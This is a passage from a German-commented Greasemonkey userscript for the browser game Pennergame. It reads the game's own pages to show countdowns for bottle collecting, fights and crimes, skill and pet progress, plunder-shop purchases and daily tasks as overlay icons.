                // auf der activities-Seite sind mehrere Counter der Art counter(x), wobei x die Restzeit ist
                // Counter 1: Weiterbildung (counters[1])
                // Counter 2: Kampf (counters[2])
                // Counter 3: Flaschensammeln (counters[3])
                // Counter 4: falls vorhanden: Flaschensammeln oder Verbrechen (counters[4]) oder sonstiges Event
                // eventuell gibt es noch einen weiteren Counter, der alle
                // anderen um 1 verschiebt (enemy_counter). Dieser wird, falls
                // vorhanden, aus der Liste entfernt, damit wieder alles stimmt
                var counters = content.split("counter(");
                var posci = content.indexOf('"enemy_counter_info"');
                if (posci != -1) {
                    var posci2 = posci;
                    posci = content.substr(posci+20,200).indexOf("counter");
                    if (posci != -1)
                        posci += posci2 + 20;
                }
                if (posci != -1) {
                    for (k=0; k< counters.length; k++)
                        if (counters[k].substr(0,2)==content.substr(posci+8,2)) {
                            counters.splice(k, 1);
                            break;
                        }
                }

                var fcounter = counters[2].split(")")[0].split(',')[0]; // Kampfcounter
                var counter = counters[3].split(")")[0].split(',')[0];  // Flaschensammeln
                // in der letzten Tabelle steht der Verbrechenscounter
                var tables = content.split("<table");
                var crimetbl = tables[tables.length-1];
                var vcount = crimetbl.split("counter(");
                if (vcount.length <= 1)
                    var vcounter = 0;                         // kein Counter, also kein Verbrechen
                else {
                    var vcounter = vcount[1].split(")")[0].split(',')[0];   // Verbrechen-Counter
                    counter = 0;
                }

                var jetzt = new Date();
                jetzt = Math.floor(jetzt.getTime()/1000);
                if (counter != 0) {        // Flaschen werden gesammelt
                    var end_time = jetzt + Number(counter);
                    ShowImg ('SCBACK', TOWNBASE_URL+'activities/', get_icon("nodefweapon"), '', '', '', 84, 13, 4, 'cartbg');
                    ShowImg ('SCBACK', TOWNBASE_URL+'activities/', get_icon("cart"), getLangTxt(TxtCart3) + " (" + FmtInfo(jetzt, end_time) + ")", 25, 25, 90, 20, 5, 'cart');
                } else {
                    if (vcounter > 0 && fcounter > 0)
                        var width = 19;
                    else
                        var width = 25;
                    if (vcounter != 0) {   // Verbrechen wird geplant
                        crimePlanned = 1;
                        var vend_time = jetzt + Number(vcounter);
                        if (promille > 0) {
                            var href = EAT_STACK;
                            ShowImg ('SCBACK', href, get_icon("redbg"), '', (width==19?19:39), 39, 84 + (fcounter>0?20:0), 13, 4, 'cuffbg');
                            logoutWarn = 1;
                        } else {
                            var href = TOWNBASE_URL+'activities/';
                            ShowImg ('SCBACK', href, get_icon("nodefweapon"), '', (width==19?19:39), 39, 84 + (fcounter>0?20:0), 13, 4, 'cuffbg');
                        }
                        ShowImg ('SCBACK', href, get_icon("cuff"), getLangTxt(TxtCrime) + " (" + FmtInfo(jetzt, vend_time) + ")" + (promille?getLangTxt(TxtCrimePro):""), width, 25, 84 + (fcounter>0?20:6), 20, 5, 'cuff');
                    }
                    if (fcounter > 0) {    // Kampf läuft
                        var fend_time = jetzt + Number(fcounter);
                        ShowImg ('SCBACK', FIGHT_URL, get_icon("nodefweapon"), '', (width==19?19:39), 39, 84, 13, 4, 'fghtbg');
                        var text = getLangTxt(TxtFight).replace('%s', attname) + " (" + FmtInfo(jetzt, fend_time) + ")";
                        var alerttext = "";
                        if (attwarn == 1)
                            alerttext = " " + getLangTxt(TxtOwnGang);
                        else if (attwarn == 2)
                            alerttext = " " + getLangTxt(TxtAlliedGang);
                        if (attwarn > 0)
                            ShowImg ('SCBACK', FIGHT_URL, get_icon("redbg"), alerttext, (width==19?19:39), 39, 84, 13, 4, 'fghtbg');
                        else
                            ShowImg ('SCBACK', FIGHT_URL, get_icon("nodefweapon"), '', (width==19?19:39), 39, 84, 13, 4, 'fghtbg');

                        ShowImg ('SCBACK', FIGHT_URL, get_icon("attack"), text + alerttext, width, 25, 84 + (vcounter>0?0:6), 20, 5, 'fght');
                        if (attwarn > 0 && PGu_getValue("attwarn", "") == "") {
                            PGu_setValue("attwarn", attid);
                            alert (alerttext);
                        }
                    }
                    else {
                        PGu_setValue("attwarn", "");
                        PGu_setValue("fightweak", "");
                    }
                }
                if (counter != 0 || vcounter != 0 || fcounter > 0) {
                    PGu_setValue("collect", 0);
                    var CntDwn = function() {
                        var again = true;
                        var cart = document.getElementById('cart');
                        jetzt = jetzt + 1;
                        if (counter != 0) {    // Flaschen werden gesammelt
                            if (jetzt <= end_time)
                                var text = getLangTxt(TxtCart3) + " (" + FmtInfo(jetzt, end_time) + ")";
                            else {
                                again = false;
                                document.getElementById('cartbg').src = getIconAddr(get_icon("redbg"));
                                var text = getLangTxt(TxtCart);
                                document.getElementById('cartbglnk').removeAttribute('href');
                                document.getElementById('cartlnk').removeAttribute('href');
                                cart.style.cursor = 'pointer';
                                // **********************************************************************************
                                // EVENTHANDLER
                                // **********************************************************************************
                                cart.addEventListener('click', event_empty, false);
                                if (CollEndAlert == 1)
                                    alert(getLangTxt(TxtCollFinish));
                            }
                            if (cart)
                                cart.title = text;
                            else {
                                again = false;
                            }
                        } else {
                            if (vcounter > 0) {
                                var text = getLangTxt(TxtCrime) + " (" + FmtInfo(jetzt, vend_time) + ")" + (promille?getLangTxt(TxtCrimePro):"");
                                document.getElementById('cuff').title = text;
                            }
                            if (fcounter > 0) {
                                var text = getLangTxt(TxtFight).replace('%s', attname) + " (" + FmtInfo(jetzt, fend_time) + ")";
                                var alerttext = "";
                                if (attwarn == 1)
                                    alerttext = " " + getLangTxt(TxtOwnGang);
                                else if (attwarn == 2)
                                    alerttext = " " + getLangTxt(TxtAlliedGang);
                                var fght = document.getElementById('fght');
                                if (fght)
                                    fght.title = text + alerttext;
                                else {
                                    again = false;
                                }
                                if (attwarn > 0 && PGu_getValue("attwarn", "") == "") {
                                    PGu_setValue("attwarn", attid);
                                    alert (alerttext);
                                }
                            }
                            else
                                PGu_setValue("attwarn", "");
                        }
                        if (again)
                            window.setTimeout(CntDwn, 1000);
                    }
                    window.setTimeout(CntDwn, 1000);
                } else if (fcounter <= 0) {
                    ShowImg ('SCBACK', '', get_icon("grnbg"), '', '', '', 84, 13, 4, 'cartbg');
                    var cart = ShowImg ('SCBACK', '', get_icon("cart"), getLangTxt(TxtCart2), 25, 25, 90, 20, 5, 'cart');
                    if (cart == null)
                        return;
                    cart.style.cursor = 'pointer';

                    cart.addEventListener('click', function(event) {
                        // Wartecursor anzeigen
                        CursorWait(this, true);
                        PGu_setValue("collect", 1);
                        if (event.shiftKey != 0) {
                            CollEndAlert = 1 - CollEndAlert;
                            PG_setValue("CollEndAlert", CollEndAlert);
                        }
                        window.setTimeout("window.location.href = window.location.protocol + '//' + window.location.host + '/activities/'", 500);
                    },false);
                }
            }

            if (location.toString().endsWith("activities/") || location.toString().endsWith("activities/bottle/"))
                if (PGu_getValue("collect", 0) == 1) {
                    var evt = document.createEvent("HTMLEvents");
                    evt.initEvent("change", true, true);

                    var timeOptions = document.getElementsByName("time")[0];
                    timeOptions.selectedIndex = PGu_getValue("lastCollectTime", 0);
                    timeOptions.dispatchEvent(evt);
                    timeOptions.addEventListener( "change",
                          function(){  PGu_setValue("lastCollectTime", document.getElementsByName("time")[0].selectedIndex);
                               timeOptionsCaptcha.selectedIndex = timeOptions.selectedIndex; },
                          true );

                    var timeOptionsCaptcha = timeOptions.cloneNode(true);
                    timeOptionsCaptcha.selectedIndex = timeOptions.selectedIndex;
                    timeOptionsCaptcha.addEventListener( "change",
                         function(){ PGu_setValue("lastCollectTime", document.getElementsByName("time")[0].selectedIndex);
                             timeOptions.selectedIndex = timeOptionsCaptcha.selectedIndex;},
                         true);

                    var captchaHolder = document.getElementById("holder");
                    var infoText = captchaHolder.insertBefore(document.createElement('p'),captchaHolder.getElementsByTagName("span")[1]);
                    infoText.innerHTML = "Zeit:";
                    infoText.appendChild(timeOptionsCaptcha);
                    infoText.style.margin = "0px";
                    infoText.style.marginTop = "8px";
                    captchaHolder.getElementsByTagName("span")[1].style.marginTop = "-8px";
                    captchaHolder.getElementsByTagName("span")[1].style.marginLeft = "-10px";

                    var cancelButton = captchaHolder.getElementsByClassName("cancel")[0];
                    cancelButton.style.margin = "0px";
                    cancelButton.style.marginLeft = "10px";
                    infoText.appendChild(cancelButton);

                    setTimeout("document.getElementsByName('Submit2')[0].click();", 1000); // fails often if to fast
                }
            }
    });

    // **********************************************************************************
    // *** GM_XMLHTTPREQUEST *** Abfragen der aktuellen Skill-Level
    // **********************************************************************************
    GM_xmlhttpRequest({method:"GET", url: WB_URL, onload:function(responseDetails) {
            var content = responseDetails.responseText;

            // Aus HTML ein DOM-Objekt erzeugen
            var doc = HTML2DOM(content);

            var sk = true;
            var skAnz = 3;
            var skAtt = -1;
            var tables = doc.getElementsByClassName("skill_block");
            if (tables.length == 0) {
               var tables = doc.getElementsByTagName("table");
               sk = false;
            }
            if (content.indexOf('"/pet/"') != -1) {
               var t = document.getElementById("topmenu").getElementsByClassName("pet")[0];
               t = getComputedStyle(t, null);
               if (parseInt(t.width) > 0 && !sk)
                  skAnz = 4;
            }
            if (sk && skAnz == 3) {
                document.getElementById("ADBACKimg").src = getIconAddr(get_icon("attdefjobback")[nrOfTabs >= 6?0:1]);
                if (document.getElementById("defweaponlnk"))
                    document.getElementById("defweaponlnk").href = MINIJOBS_URL;
                else
                    ShowImg('ADBACK', MINIJOBS_URL, get_icon("nodefweapon"), '', '', '', 84, 13, 1, 'defweapon');
            }
            for (var i = 0; i < tables.length; i++) {
                var table = tables[i];

                if (sk) {
                    if (table.getElementsByClassName("slot_3").length > 0) {
                        var skill = table.getElementsByTagName("h2")[0].innerHTML;
                        var skillLvl = table.getElementsByClassName("skill_progress_text")[0].innerHTML.split(" ")[0];
                    }
                    else
                        continue;
                }
                else {
                    // Referenz auf Tabellenzeilen in trs speichern
                    var trs = table.getElementsByTagName("tr");
                    if (trs[0].innerHTML.indexOf(TxtEstimated[lang]) != -1 || trs[0].innerHTML.indexOf('processbar_bg') == -1)
                        continue;
                    var skill = trs[0].innerHTML.split('<strong>')[1].split('</strong>')[0];
                    var skillLvl = trs[0].innerHTML.split('="108">')[1].split('<span')[0];
                }
                switch (skill) {
                    case TxtSkillATT[lang]:
                                    glblVars[0] = Number(skillLvl);
                                    var skAtt = i;
                                    break;
                    case TxtSkillDEF[lang]:
                                    glblVars[1] = Number(skillLvl);
                                    break;
                    case TxtSkillDEX[lang]:
                                    DEXSkill = Number(skillLvl);
                                    glblVars[2] = DEXSkill;
                                    break;
                    default: break;
                }
            }
            if (skAtt >= 0)
                var actSkills = skAtt;
            else
                var actSkills = doc.getElementsByClassName('box_main_small').length;
            if (actSkills == 0) {
                ShowImg ('SCBACK', WB_URL, get_icon("plunderb"), getLangTxt(TxtNoSkill), '', '', 6, (skAnz==4)?18:21, 4, 'skill1');
                ShowImg ('SCBACK', WB_URL, get_icon("plunderb"), getLangTxt(TxtNoSkill), '', '', 6, (skAnz==4)?26:31, 4, 'skill2');
            } else {
                var start_time = content.split("fortschritt()")[1].split('var start = ')[1].split(';')[0];
                var end_time = content.split("fortschritt()")[1].split('var end = ')[1].split(';')[0];
                var jetzt = content.split('<input id="now_timestamp" type="hidden" value="')[1].split('">')[0];
                var skilllvl = content.split('box_text_small">')[1];
                var skill = skilllvl.split('">')[1].split('<')[0];
                var level = skilllvl.split('[')[1].split(']')[0].split(' ')[1];
                var percent = jetzt>=end_time?100:Math.round((jetzt - start_time) / (end_time - start_time) * 1000) / 10;
                var text = skill + ' ' + level + ', ' + percent + '%, ' + FmtInfo(jetzt, end_time);
                var width = Math.ceil(25/100*percent);
                ShowImg ('SCBACK', WB_URL, get_icon("plundera"), text, '', '', 6, (skAnz==4)?18:21, 3, 'skill1bg');
                if (width > 0)
                    ShowImg ('SCBACK', WB_URL, get_icon("clean"), text, width, 5, 6, (skAnz==4)?18:21, 4, 'skill1fg');
                if (actSkills > 1) {
                    skilllvl = content.split('box_text_small">')[2];
                    var skill2 = skilllvl.split('">')[1].split('<')[0];
                    var level2 = skilllvl.split('[')[1].split(']')[0].split(' ')[1];
                    var endtime= skilllvl.split('style_skill">')[2].split('<')[0];
                    if (isNaN(endtime.substr(0,2))) {
                        var now = new Date;
                        endtime = endtime.split(', ')[1];
                        endtime = new Date(now.getFullYear(), now.getMonth(), now.getDate(), endtime.substr(0,2), endtime.substr(3,2), 0);
                        if (endtime < now)
                            endtime.setTime(endtime.getTime() + 86400*1000);
                    }
                    else
                        endtime = new Date(2000+Number(endtime.substr(6,2)), Number(endtime.substr(3,2)-1), endtime.substr(0,2), endtime.substr(10,2), endtime.substr(13,2), 0);
                    endtime = FmtInfo(0, endtime.getTime()/1000 - timeDiff);
                    var text2 = skill2 + ' ' + level2 + endtime.substring(0, endtime.length-3);
                    ShowImg ('SCBACK', WB_URL, get_icon("plundera"), text2, '', '', 6, (skAnz==4)?26:31, 3, 'skill2bg');
                } else {
                    ShowImg ('SCBACK', WB_URL, get_icon("plunderb"), getLangTxt(TxtNoSkill), '', '', 6, (skAnz==4)?26:31, 4, 'skill2');
                }
                var skillTim = function() {
                    jetzt = Number(jetzt) + 1;
                    if (!document.getElementById('skill1fg'))
                        return;
                    window.setTimeout(skillTim, 1000);
                    var percent = jetzt>=end_time?100:Math.round((jetzt - start_time) / (end_time - start_time) * 1000) / 10;
                    var text = skill + ' ' + level + ', ' + percent + '%, ' + FmtInfo(jetzt, end_time);
                    var nwidth = Math.ceil(25/100*percent);
                    if (nwidth > 0)
                        if (width == 0)
                            ShowImg ('SCBACK', WB_URL, get_icon("clean"), text, nwidth, 5, 6, (skAnz==4)?18:21, 4, 'skill1fg');
                        else {
                            document.getElementById('skill1fg').width = nwidth;
                            document.getElementById('skill1fg').title = text;
                        }
                    document.getElementById('skill1bg').title = text;
                    if (end_time - jetzt < 3600 && actSkills == 1)
                        if (jetzt-Math.floor(jetzt/2)*2 != 0)
                            document.getElementById('skill1fg').src = getIconAddr(get_icon("plunderb"));
                        else
                            document.getElementById('skill1fg').src = getIconAddr(get_icon("clean"));
                }
                window.setTimeout(skillTim, 1000);
            }
            // **********************************************************************************
            // *** GM_XMLHTTPREQUEST *** Abfragen der Begleiter-Weiterbildung
            // **********************************************************************************
            if (!sk) {
                var nav = document.getElementById("nav-2");
                if (nav && nav.innerHTML.indexOf("/skills/pet/") == -1) {
                    var li = nav.getElementsByTagName("li");
                    for (i = 0; i < li.length; i++)
                        if (li[i].innerHTML.indexOf("/pet/") != -1) {
                            var newli = li[i].cloneNode(true);
                            var a = newli.getElementsByTagName("a");
                            a[0].href = "/skills/pet/";
                            var span = newli.getElementsByTagName("span");
                            span[span.length-1].innerHTML = "Begleiter";
                            li[i].parentNode.insertBefore(newli, li[i+1]);
                            break;
                        }
                }

                GM_xmlhttpRequest({method:"GET", url: WBPET_URL, onload:function(responseDetails) {
                        var content = responseDetails.responseText;

                        // Wenn die Seite abgerufen werden konnte (kein Seitenladefehler)
                        if (content.indexOf(KEYWORD_MYBUM[lang]) != -1) {
                            // Aus HTML ein DOM-Objekt erzeugen
                            var doc = HTML2DOM(content);

                            var actSkills = doc.getElementsByClassName('box_main_small').length;
                            if (actSkills == 0) {
                                ShowImg ('SCBACK', WBPET_URL, get_icon("plunderb"), getLangTxt(TxtNoSkill), '', '', 6, (skAnz==4)?34:41, 4, 'skillpet');
                            } else {
                                var start_time = content.split("fortschritt()")[1].match(/var start *= *\d+/)[0].match(/\d+/)[0];
                                var end_time = content.split("fortschritt()")[1].match(/var end *= *\d+/)[0].match(/\d+/)[0];
                                var jetzt = content.split('<input id="now_timestamp" type="hidden" value="')[1].split('">')[0];
                                var skilllvl = content.split('box_text_small">')[1];
                                var skill = skilllvl.split('">')[1].split('<')[0];
                                var level = skilllvl.split('[')[1].split(']')[0].split(' ')[1];
                                var percent = jetzt>=end_time?100:Math.round((jetzt - start_time) / (end_time - start_time) * 1000) / 10;
                                var text = skill + ' ' + level + ', ' + percent + '%, ' + FmtInfo(jetzt, end_time);
                                var width = Math.ceil(25/100*percent);
                                ShowImg ('SCBACK', WBPET_URL, get_icon("plundera"), text, '', '', 6, (skAnz==4)?34:41, 3, 'skillpetbg');
                                if (width > 0)
                                    ShowImg ('SCBACK', WBPET_URL, get_icon("clean"), text, width, 5, 6, (skAnz==4)?34:41, 4, 'skillpetfg');
                                var PetSkillTim = function() {
                                    jetzt = Number(jetzt) + 1;
                                    if (!document.getElementById('skillpetfg'))
                                        return;
                                    window.setTimeout(PetSkillTim, 1000);
                                    var percent = jetzt>=end_time?100:Math.round((jetzt - start_time) / (end_time - start_time) * 1000) / 10;
                                    var text = skill + ' ' + level + ', ' + percent + '%, ' + FmtInfo(jetzt, end_time);
                                    var nwidth = Math.ceil(25/100*percent);
                                    if (nwidth > 0)
                                        if (width == 0)
                                            ShowImg ('SCBACK', WB_URL, get_icon("clean"), text, nwidth, 5, 6, (skAnz==4)?34:41, 4, 'skillpetfg');
                                        else {
                                            document.getElementById('skillpetfg').width = nwidth;
                                            document.getElementById('skillpetfg').title = text;
                                        }
                                    document.getElementById('skillpetbg').title = text;
                                    if (end_time - jetzt < 3600)
                                        if (jetzt-Math.floor(jetzt/2)*2 != 0)
                                            document.getElementById('skillpetfg').src = getIconAddr(get_icon("plunderb"));
                                        else
                                            document.getElementById('skillpetfg').src = getIconAddr(get_icon("clean"));
                                }
                            window.setTimeout(PetSkillTim, 1000);
                            }
                        }
                    }
                });
            }
            // **********************************************************************************
            // *** GM_XMLHTTPREQUEST *** Abfragen Haustier Streunen
            // **********************************************************************************
            if (sk || skAnz == 4) {
                GM_xmlhttpRequest({method:"GET", url: PET_URL, onload:function(responseDetails) {
                        var content = responseDetails.responseText;

                        // Wenn die Seite abgerufen werden konnte (kein Seitenladefehler)
                        if (content.indexOf(KEYWORD_MYBUM[lang]) != -1) {
                            // Aus HTML ein DOM-Objekt erzeugen
                            var doc = HTML2DOM(content);

                            if (content.indexOf("pet_kader") == -1) {
                                ShowImg ('SCBACK', PET_URL, get_icon("plundera"), "Du hast noch kein Tier", '', '', 6, (skAnz==4)?42:41, 4, 'streunpet');
                            } else {
                               var petbusy =  doc.getElementsByClassName('petbusybar');
                               var backflg = 0;
                               for (var b = 0; b < petbusy.length; b++) {
                                   if (petbusy[b].innerHTML.indexOf('Fertig') != -1) {
                                       backflg = 1;
                                       break;
                                   }
                                   if (petbusy[b].innerHTML.indexOf('counter') != -1) {
                                       DispZeit(new Date(), petbusy[b], PET_URL, TxtStreun, "SCBACK", "streunpet", 6, (skAnz==4)?42:41, 3, 10800, 25);
                                       backflg = 2;
                                       break;
                                   }
                               }
                               if (backflg != 2) {
                                   if (backflg == 1)
                                      var text = "Dein Haustier ist zurück!";
                                   else
                                      var text = "Dein Haustier streunt zur Zeit nicht!";
                                   ShowImg ('SCBACK', PET_URL, get_icon("plunderb"), text, '', '', 6, (skAnz==4)?42:41, 4, 'streunpet');
                               }
                            }
                        }
                    }
                });
            }

            if (!oldVersion)
                GM_xmlhttpRequest({method: 'GET', url: PLUNDERSHOP_URL, onload: function(responseDetails) {
                        function showPlunderShop(tdiv, i) {
                            var fkt = anzPlnd / 3;
                            if (i < tdiv.length) {
                                var src = tdiv[i].getElementsByTagName("img")[0].src;
                                var tda = tdiv[i].getElementsByTagName("a");
                                for (var ii = 0; ii < tda.length; ii++) {
                                    if (tda[ii].href.indexOf("stock/plunder/") != -1)
                                        break;
                                }
                                GM_xmlhttpRequest({method: 'GET', url: tda[ii].href, onload: function(responseDetails) {
                                        var plunder = tda[ii].innerHTML.split(">")[1].split("<")[0];
                                        var kost = trimString(tda[ii].innerHTML.split("<br>")[1]);
                                        var kauf = getLangTxt(TxtBuy);
                                        var pnum = tdiv[i].getElementsByTagName("input")[1].value;
                                        var padd = GetPlunderDescription(responseDetails.responseText.split('craft_result')[1].split("</tr>")[0]);
                                        var curElem = ShowImg ('PSBACK', '', src, kauf+": "+plunder+" ("+kost+(padd==""?"":"; "+padd.substr(2,padd.length-3))+")", 24, 24/fkt, 1 + (i % 3)*28, 20 + Math.floor(i / 3)*12, 1, 'buy'+i);
                                        if (curElem != null) {
                                            curElem.style.cursor = 'pointer';
                                            curElem.name = 'buy'+pnum;
                                            // **********************************************************************************
                                            // EVENTHANDLER
                                            // **********************************************************************************
                                            curElem.addEventListener('click', function(event) {
                                                // Wartecursor anzeigen
                                                CursorWait(event.target, true);
                                                var pnum = event.target.name.substr(3);
                                                GM_xmlhttpRequest({
                                                    method: 'POST',
                                                    url: TOWNBASE_URL+'city/plundershop/buy/',
                                                    headers: {'Content-type': 'application/x-www-form-urlencoded'},
                                                    data: encodeURI('plunder='+pnum),
                                                    onload: function(content) {
                                                            refreshPage();
                                                    }
                                                });
                                                }, false);
                                            }
                                }
                                });
                                return 1;
                            }
                            else {
                                var src = getIconAddr(get_icon("noplunderequip"));
                                ShowImg ('PSBACK', PLUNDERSHOP_URL, src, 'verkauft', 24, 24/fkt, 1 + (i % 3)*28, 20 + Math.floor(i / 3)*12, 1, 'pshop'+i);
                            }
                            return 0;
                        }
                    var content = responseDetails.responseText;
                    // Wenn die Seite abgerufen werden konnte (kein Seitenladefehler)
                    if (content.indexOf(KEYWORD_MYBUM[lang]) != -1) {
                        var jetzt = new Date();
                        var doc = HTML2DOM(content);
                        var forms = doc.getElementsByTagName("form");
                        aP = Math.ceil((content.split("trhover").length-2)/3)*3;
                        if (anzPlnd < aP)
                            anzPlnd = aP;
                        for (var j = 0; j < forms.length; j++)
                            if (forms[j].id == "refresh_plundershop")
                                break;
                        var tdiv = forms[j].parentNode;
                        while (tdiv.getElementsByClassName("trhover").length == 0 && tdiv.getElementsByClassName("refreshbutton2").length == 0)
                            tdiv = tdiv.parentNode;
                        tdiv = tdiv.getElementsByClassName("trhover");
                        var pCnt = 0;
                        for (j = 0; j < anzPlnd; j++)
                            pCnt += showPlunderShop(tdiv, j);
                        var text = (pCnt == 0?"Plundershop":getLangTxt(TxtBuyAll));
                        src = getIconAddr(get_icon("plunderreset"));
                        //tdiv = doc.getElementById("refresh_plundershop").getElementsByClassName("refreshbutton")[0];
                        //var text = tdiv.value;
                        var curElem = ShowImg ('PSBACK', '', src, text, 24, 24, 85, 20, 1, 'pshop' + anzPlnd);
                        if (curElem == null)
                            return;
                        curElem.style.cursor = 'pointer';
                        // **********************************************************************************
                        // EVENTHANDLER
                        // **********************************************************************************
                        curElem.addEventListener('click', function(event) {
                            // Wartecursor anzeigen
                            CursorWait(event.target, true);
                            var buyCount = 0;
                            for (var i = 0; i < anzPlnd; i++)
                                if (document.getElementById('buy'+i)) {
                                    var pnum = document.getElementById('buy'+i).name.substr(3);
                                    GM_xmlhttpRequest({
                                        method: 'POST',
                                        url: TOWNBASE_URL+'city/plundershop/buy/',
                                        headers: {'Content-type': 'application/x-www-form-urlencoded'},
                                        data: encodeURI('plunder='+pnum),
                                        onload: function(content) {
                                        }
                                    });
                                    buyCount++;
                                }
                            if (buyCount > 0)
                                window.setTimeout(refreshPage, 1000);
                            else
                                window.location.href = PLUNDERSHOP_URL;
                        }, false);
                        /*currentelem.addEventListener('mouseover', function(event) {
                            var cElem = document.getElementById('pshop3');
                            var sk = (event.shiftKey != 0) || (document.getElementById('buy0') == null);
                            if (sk) {
                                tdiv = doc.getElementById("refresh_plundershop").getElementsByClassName("refreshbutton")[0];
                                cElem.title = tdiv.value;
                            }
                            else
                                cElem.title = "Buy all";
                        }, false);
                        currentelem.addEventListener('mouseout', function(event) {
                            var cElem = document.getElementById('pshop3');
                            var sk = !document.getElementById('buy0');
                            if (sk) {
                                tdiv = doc.getElementById("refresh_plundershop").getElementsByClassName("refreshbutton")[0];
                                cElem.title = tdiv.value;
                            }
                            else
                                cElem.title = "Buy all";
                            cElem.mouseover = null;
                        }, false);*/
                        tdiv = doc.getElementsByClassName("refreshbutton");
                        if (tdiv.length > 1) {
                            PSwidth = document.getElementById("PSBACKimg").naturalWidth;
                            DispZeit(jetzt, tdiv[tdiv.length-1], PLUNDERSHOP_URL, TxtWaitSort, "PSBACK", "pshop", 0, 47, 1, PSWaitTime, PSwidth);
                        }
                    }
                }
                });
            GM_xmlhttpRequest({
                method: 'GET',
                url: REWARDS_URL,
                onload: function(responseDetails) {
                    var content = responseDetails.responseText;
                    // Wenn die Seite abgerufen werden konnte (kein Seitenladefehler)
                    if (content.indexOf(KEYWORD_MYBUM[lang]) != -1) {
                        var doc = HTML2DOM(content);
                        var table = doc.getElementsByTagName("table");
                        if (table.length > 0) {
                            var trs = table[0].getElementsByTagName("tr");
                            var cards = trs[2].innerHTML.split("<span")[1].split('">')[1].split('</span')[0];
                            var newlink = document.getElementById("SCBACK").parentNode.appendChild(document.createElement('a'));
                            newlink.innerHTML = '<div id="cards" align="center" style="position:absolute; left:' + (SC_X+44) + 'px; top:' + (SC_Y+23) + 'px; z-index:'+(getZ("SCBACK")+5)+'; color:black; width:35px"><b>' + cards + '</b></div>';
                            newlink.setAttribute('title', getLangTxt(TxtCards) + cards);
                            cacheBgnds("SCBACK", 'cards');
                        }
                    }

                    GM_xmlhttpRequest({method: 'GET', url: OVERVIEW_URL, onload: function(responseDetails) {
                        var content = responseDetails.responseText;
                        // Wenn die Seite abgerufen werden konnte (kein Seitenladefehler)
                        if (content.indexOf(KEYWORD_MYBUM[lang]) != -1) {
                            if (sk && skAnz == 3) {
                                ShowMiniJob(content);
                            }
                            var today = new Date();
                            var taskDone = (content.indexOf('korkenhaken.png') != -1 || (content.indexOf('tagesaufgabe') != -1 && content.indexOf('Tagesaufgabe offen') == -1));
                            if ((content.indexOf('/daily/') == -1) && !taskDone)
                                ShowImg ('SCBACK', '', get_icon("wutinaktiv"), '', '', '', 49, 23, 4, 'taskdone');
                            else {
                                if (taskDone) {
                                    var href = REWARDS_URL;
                                    ShowImg ('SCBACK', href, get_icon("grnbg"), '', '', '', 42, 13, 4, 'taskdone');
                                    newlink.setAttribute('href', href);
                                } else {
                                    var href = DAILY_URL;
                                    ShowImg ('SCBACK', href, get_icon("redbg"), '', '', '', 42, 13, 4, 'taskdone');
                                    GM_xmlhttpRequest({
                                        method: 'GET',
                                        url: DAILY_URL,
                                        onload: function(responseDetails) {
                                                if (PGu_getValue("callCount") != callCount)
                                                    return;
                                                var content = responseDetails.responseText;
                                                // Wenn die Seite abgerufen werden konnte (kein Seitenladefehler)
                                                if (content.indexOf(KEYWORD_MYBUM[lang]) != -1) {
                                                    href = DAILY_URL;
                                                    var doc = HTML2DOM(content);
                                                    var table = doc.getElementsByTagName("table")[0];
                                                    var trs = table.getElementsByTagName("tr");
                                                    var task = content.split('min-height:40px;">')[1].split('<strong>')[1].split('</strong>')[0];
                                                    for (var t = 0; t < dailyTasks.length; t++)
                                                        if (dailyTasks[t] == task) {
                                                            task = myDailyTasks[t];
                                                            href = TOWNBASE_URL + dailyTaskLinks[t];
                                                            if (t == 12)            // Snack essen
                                                                TAisEatSnack = true;
                                                            else if (t == 13)       // Promille ueber 2% BAC
                                                                TAisDrink2 = true;
                                                            break;
                                                        }
                                                    document.getElementById('taskdonelnk').setAttribute('href', href);
                                                    newlink.setAttribute('href', href);
                                                    var lockDA = PGu_getValue("lockDA", 0);     // Sperrdatum Tagesaufgabe
                                                    if (lockDA != FormatDate(today)) {
                                                        document.getElementById('provocation_area').innerHTML += '<form name="prov_form"><div id="provocation_note"><a class="close" href="#" onclick="CloseProvocation();"><img id="prov_close" src="' + window.location.protocol + '//static.pennergame.de/img/pv4/premiummedia/img/premium/provocation/provocation_note_close.png" border="0"></a><div id="provocation_text" class="provocation_text"><div class="prov_links"></div></div></div></form>';
                                                        document.getElementById('provocation_text').innerHTML ='<img src="' + window.location.protocol + '//static.pennergame.de/img/pv4/daily_jobs/korken.png"><font style=\"color:yellow; font-size:120%;\"><b>' + getLangTxt(TxtDaily) + '</b></font><br><a href="' + href + '">'+ task +'</a><br><font style=\"color:green; font-size:120%;\"><b>' + getLangTxt(TxtCards) + cards + '</b></font>';
                                                        document.getElementById('provocation_area').setAttribute('style', 'position:absolute; left:' + PA_X + 'px; top:' + PA_Y + 'px; cursor:move');
                                                        //document.getElementById('provocation_area').addEventListener('mousedown', mousedown, false);
                                                        //document.getElementById('provocation_area').addEventListener('mouseup', mouseup, false);
                                                        makeDraggable(document.getElementById('provocation_area'));
                                                        document.getElementById('provocation_area').addEventListener('dblclick', dblclick, false);
                                                        // **********************************************************************************
                                                        // EVENTHANDLER
                                                        // **********************************************************************************
                                                        document.getElementById('prov_close').addEventListener('click', function(event) {
                                                                                var today = new Date();
                                                                                PGu_setValue("lockDA", FormatDate(today));
                                                                                document.getElementById('prov_close').style.visibility = 'hidden';
                                                        },false);
                                                    }
                                                }
                                        }
                                    });
                                }
                            }
                            var doc = HTML2DOM(content);
                            noWash = isNaN(clean);
                            if (noWash || clean < 0) {
                                var cleanTxt = getCleanliness(content);
                                if (cleanTxt != '')
                                    clean = Number(cleanTxt);
                            }
                            if (!isNaN(clean)) {
                                var width = Math.ceil(30/100*clean);
                                if (noWash) {
                                    var proz = "Lebenspunkte: " + clean;
                                    if (clean < 80) {
                                        proz += " (-" + Math.floor((99 - clean)/20) + " DEF)";
                                        ShowImg ('PWBACK', '', get_icon("redbg"), '', 30, 30, 78, 13, 2, 'lifebg');
                                    }
                                    var url = MEDICINE_URL;
                                }
                                else {
                                    var proz = clean + "%";
                                    var url = WASHHOUSE_URL;
                                }
                                if (clean != 0)
                                    ShowImg ('PWBACK', url, get_icon("clean"), proz, width, 5, 78, 46, 4, 'cleanliness');
                                if (clean != 100)
                                    ShowImg ('PWBACK', url, get_icon("dirty"), proz, 30, 5, 78, 46, 3, 'dirtyness');
                            }
                            else {
                                var washel = document.getElementById('infozentrale_wash');
                                if (washel)
                                    washel.parentNode.removeChild(washel);
                            }
                            var datadiv = doc.getElementsByClassName("tieritemA");
                            for (var i = 0; i < datadiv.length; i++)
